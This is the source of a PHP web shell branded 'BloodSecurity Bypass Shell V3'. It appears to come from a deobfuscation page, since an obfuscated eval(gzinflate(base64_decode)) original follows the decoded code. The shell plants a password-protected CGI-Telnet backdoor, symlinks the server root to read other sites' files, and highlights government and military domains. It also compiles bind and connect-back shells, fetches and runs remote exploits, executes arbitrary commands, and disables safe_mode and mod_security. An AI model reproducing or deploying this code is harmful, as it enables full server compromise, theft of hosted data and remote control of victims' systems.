g0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';

$file = fopen("cgi4e.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi4e));
fclose($file);
chmod("cgi4e.izo",0755);
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>CGI-Telnet Version 1.4 </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : d4rkj1n</font><center><br><iframe src=cgi4e/cgi4e.izo width=75% height=60% frameborder=0></iframe>
 
</div></center>"; 
}
 
 
 ///////////////////////////////////////////////////////////////////////////
 
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post">
<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
<?php

echo "<center/><br/><b><font color=#FF0000>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";

  mkdir('config', 0755);
    chdir('config');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
		
AddType application/x-httpd-cgi .cpc

AddHandler cgi-script .izo
AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);

$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
    chmod("config.izo",0755);
   echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
   </div>"; 
}
/////////////////////////////////////////////////////////////////////////


///////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{	
?>
<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
<form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">

<?php   

@set_time_limit(0);

echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";

@mkdir('sym',0777);
$htaccess  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name   = $string[1][0];
$iran   = '\.ir';
$israel = '\.il';
$indo   = '\.id';
$sg12   = '\.sg';
$edu    = '\.edu';
$gov    = '\.gov';
$gose   = '\.go';
$gober  = '\.gob';
$mil1   = '\.mil';
$mil2   = '\.mi';
$malay	= '\.my';
$china	= '\.cn';
$japan	= '\.jp';
$austr	= '\.au';
$porn	= '\.xxx';
$as		= '\.uk';
$calfn	= '\.ca';

if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>

<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>

<td>
'.$UID['name']."
</td>

<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>

</tr></div> ";
flush();
}
}
}
}

echo "</center></table>";   

}

elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{	
?>
<a href="?&x=dump">Database Dump</a> -
<a href="?&x=config">Config</a> -
<a href="?&x=symlink">Symlink</a>
<a href="?&x=whmcs">Whmcs Decoder</a> -
<a href="?&x=sql">Mysql</a> -
<a href="?&x=mail">Mailer</a>
<a href="?&x=port-sc">Port Scan</a> -
<a href="?&x=domain">Domain</a> -
<a href="?&x=python">Python Portable</a>  </center>
</b>';
<form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">

<?php

echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';

$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));

		echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
		}
	echo "</table>";
	}

echo '</div>';
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
   {
   ?>
   <form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
   <?php
   @set_time_limit(0);
   @error_reporting(0);
   function sws_domain_info($site)
   {
   $getip = @file_get_contents("http://networktools.nl/whois/$site");
   flush();
   $ip = @findit($getip,'<pre>','</pre>');
   return $ip;
   flush();
   }
   function sws_net_info($site)
   {
   $getip = @file_get_contents("http://networktools.nl/asinfo/$site");
   $ip = @findit($getip,'<pre>','</pre>');
   return $ip;
   flush();
   }
   function sws_site_ser($site)
   {
   $getip = @file_get_contents("http://networktools.nl/reverseip/$site");
   $ip = @findit($getip,'<pre>','</pre>');
   return $ip;
   flush();
   }
   function sws_sup_dom($site)
   {
   $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
   $ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
   return $ip;
   flush();
   }
   function sws_port_scan($ip)
   {
   $list_post = array('80','21','22','2082','25','53','110','443','143');
   foreach ($list_post as $o_port)
   {
   $connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
   if($connect)
   {
   echo " $ip : $o_port ??? <u style=\"color: #FF0000\">Open</u> <br /><br />";
   flush();
   }
   }
   }
   function findit($mytext,$starttag,$endtag) {
   $posLeft = @stripos($mytext,$starttag)+strlen($starttag);
   $posRight = @stripos($mytext,$endtag,$posLeft+1);
   return @substr($mytext,$posLeft,$posRight-$posLeft);
   flush();
   }
   echo '<br><br><center>';
   echo '
    <br />
    <div class="sc"><form method="post"><table class="tabnet">
	<tr><th colspan="5">Website Whois</th></tr>
    <tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#FF0000;background-color:#000000" class="inputz" value="site.com" /> &nbsp <input class="inputzbut" type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan !" /></td></tr>
    </table></form></div>';
   if(isset($_POST['scan']))
   {
   $site = @htmlentities($_POST['site']);
   if (empty($site)){die('<br /><br /> Not add IP .. !');}
   $ip_port = @gethostbyname($site);
   echo "
   <br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
   <div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
   <div class=\"ru\"> <br /><br /><pre>
   ";
   echo "".sws_port_scan($ip_port)." </pre></div> ";
   flush();
   echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
   <div class=\"ru\">
   <pre>".sws_domain_info($site)."</pre></div>";
   flush();
   echo "
   <div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
   <div class=\"ru\">
   <pre>".sws_net_info($site)."</pre> </div>";
   flush();
   echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
   <div class=\"ru\">
   <pre>".sws_sup_dom($site)."</pre> </div>";
   flush();
   echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
   <div class=\"ru\">
   <pre>".sws_site_ser($site)."</pre> </div>
   <div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
   flush();
   }
   echo '</center>';
   }
///////////////////////////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
    {
    ?>
    <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
	<center><br><html>
<head>
<iframe width="1" height="1" src="http://www.youtube.com/embed/cZA9PpCxQ2Q?rel=0&autoplay=1&loop=1&playlist=RUacLDvn3JY" frameborder="0" allowfullscreen></iframe>
</head>
<body>
	<a href="https://www.facebook.com/OfficialBloodSecHackers.gov" target="_blank" ><img src="http://oi62.tinypic.com/vifocj.jpg" width="20%"></a>
	
	<p>	<span style="color:#ffffff;font-family:Abel;font-size:20;"><b> THIS TOOL WAS WRITTEN FOR EDUCATIONAL PURPOSES.<br>
ONLY USE THIS TOOL ON WEBSITES YOU ARE ALLOWED TO TEST.<br>
IF YOU DON'T AGREE WITH WHAT I SAID, PLEASE DON'T USE THIS TOOL.<br>
THE AUTHOR CANNOT AND WILL NOT IN ANY WAY LIABLE FOR ANY LOSS OR DAMAGE ARISING WITH THE USE OF THIS TOOL.<br>
USE IT UNDER YOUR OWN RISK !!!!!!<br>
THANKS... <br><br>
	Special Thanks to: AnonGhost Team<br>
		<p>	Greets To:</b></Span></p>
<span style="color:#ffffff;font-family:Abel;font-size:20;">
<b> BloodSecurity International - AnonGhost - Anonymous Philippines - Magdalo Cyber Army (MCA) - Philippine Hacking University (PHU) - Pinoy Hacking Community (PHC)</font>

</td>
</table>
<br><br>

</html>


<?php
}


//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'apa')){ 
if(isset($_POST['uploadcomp'])){
	if(is_uploaded_file($_FILES['file']['tmp_name'])){
		$path = magicboom($_POST['path']);
		$fname = $_FILES['file']['name'];
		$tmp_name = $_FILES['file']['tmp_name'];
		$pindah = $path.$fname;
		$stat = @move_uploaded_file($tmp_name,$pindah);		
		if ($stat) {
			$msg = "file uploaded to $pindah";
		}
		else $msg = "failed to upload $fname";
	}
	else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
	$pilihan = trim($_POST['pilihan']);
	$wurl = trim($_POST['wurl']);
	$path = magicboom($_POST['path']);
	$namafile = download($pilihan,$wurl);
	$pindah = $path.$namafile;
	if(is_file($pindah)) {
		$msg = "file uploaded to $pindah";
	}
	else $msg = "failed to upload $namafile";

}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=apa" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=apa">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){ 

// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
	$port = trim($_POST['port']);
	$passwrd = trim($_POST['bind_pass']);
	tulis("bdc.c",$port_bind_bd_c);
 	exe("gcc -o bdc bdc.c");
 	exe("chmod 777 bdc");
 	@unlink("bdc.c");
 	exe("./bdc ".$port." ".$passwrd." &");
 	$scan = exe("ps aux"); 
	if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg =  "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
	$port = trim($_POST['port']);
	$passwrd = trim($_POST['bind_pass']);
	tulis("bdp",$port_bind_bd_pl);
	exe("chmod 777 bdp");
 	$p2=which("perl");
 	exe($p2." bdp ".$port." &");
 	$scan = exe("ps aux"); 
	if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
	else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
	$ip = trim($_POST['ip']);
	$port = trim($_POST['backport']);
	tulis("bcc.c",$back_connect_c);
 	exe("gcc -o bcc bcc.c");
 	exe("chmod 777 bcc");
 	@unlink("bcc.c");
	exe("./bcc ".$ip." ".$port." &");
	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
	$ip = trim($_POST['ip']);
	$port = trim($_POST['backport']);
	tulis("bcp",$back_connect);
	exe("chmod +x bcp");
	$p2=which("perl");
 	exe($p2." bcp ".$ip." ".$port." &");
 	$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
	$pilihan = trim($_POST['pilihan']);
	$wurl = trim($_POST['wurl']);
	$namafile = download($pilihan,$wurl);
	if(is_file($namafile)) {
	
	$msg = exe($wcmd);
	}
	else $msg = "error: file not found $namafile";
}

?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&amp;x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){  ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
	echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php } 
else { 
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
	$file = $_GET['delete'];
	@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
	@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
	$path = $pwd.$_GET['mkdir'];
	@mkdir($path);
}
	$buff = showdir($pwd,$prompt);
	echo $buff;
}
?>

<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
	{
		
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
		
		}

?>
<br><br>
</center></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center;"><font color=#"009900" size="1" face="Courier New">&copy; BloodSecurity Bypass Shell V3 2014  | Coded by D4rkj1n - NeoZone</font></footer>
</script>
</div>
</body>
</html>

Did this file decode correctly?

Original Code

<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TJ3HbutclkbfpSfdAAfMacicMykG1IQ5iDlTT190/TVo4Bqygi3xnL33t5avRZdn2v/f//zrJvB/3STxXsLvB/evG6HeS/K9jXkv6fdDeD+If+77ewyJ/fM1/3kc8t/b0H9uQ9/Hoe/9uPhe/+/jiL/7/t91hPrfW0XlbLOd4huBamJ8MYWjlbxlRPk8Z6VGp6IhV5iqrJZmqDpPOCXuwzQ+fjRM6sXhUY89gwdcgaPgAjx1fMcavA6wpzBKnwrCxuWtoFDii14nGE0NiJ4JKt86idMVRYOIA5JfCywLmJA3kNahQqRJGwQK4Dbp/b38NfYc0T/MoJ/04xI5/QGA4KAhAy2NE8NFDqTtI10ybAOHNQxiU+bez4MRA32XUFBLtcfNeAZ8WX+HK+nV9oyFBCcluE85Bh5yYtGBAkNN4faiLg4UPoEp3rDUuqLesrl+Kt1Z3J827wVfTskqGYki6YhiwHl0PfroDwgOJ3nLHojuLBKBOA2CCggC4dOzzlIM5nYA3WOzrPuL8mGU1SDT/ARxcaTuZxfyogubWMfo1llZkkEusivuFcqof8MPMLAJZ4CaZZm2mt9bJF61GWcVwm9dsLssBgHjgg3a8oqCbmbI1Y4sU4FmY1OQC0xbawXHJ/LGnhpR84wgP5PRIykkQTPEX0As1akb1WjSaqz71Py3q0wfaYK6+En7TwcqM6N/5IpYbgpIvsT8ItOeLHwaMI2MmcXwvq0DkMCRZOG7AZatGYvYVYQg44Zjfv3kFmB0jvyPmTU9EjN8ZflcEs6obeq84Yi0qq9QnA1DaMNBsGEmwrJwhopQkmGY4PWPhsXE6IaPFIv3JODZEMToiDw/wtus63M4Yu4Geo89UIy5wEpY3+4wy4baV83aMcDZY7fx1yT6YuAQOxmyBW6oepF6z8kImBM0hiCE7TaEP1cMVgr4/QUAV6XObQvUSDDl1rIy7LI/cx5lhwPwyWODkdsvg8LOn0WjwB1UuQr77dEkXNkmCjXpRj9UjutRe4v79zIZQHPUDNxX0O2y12Ne2XkFyVNiRrvyxnP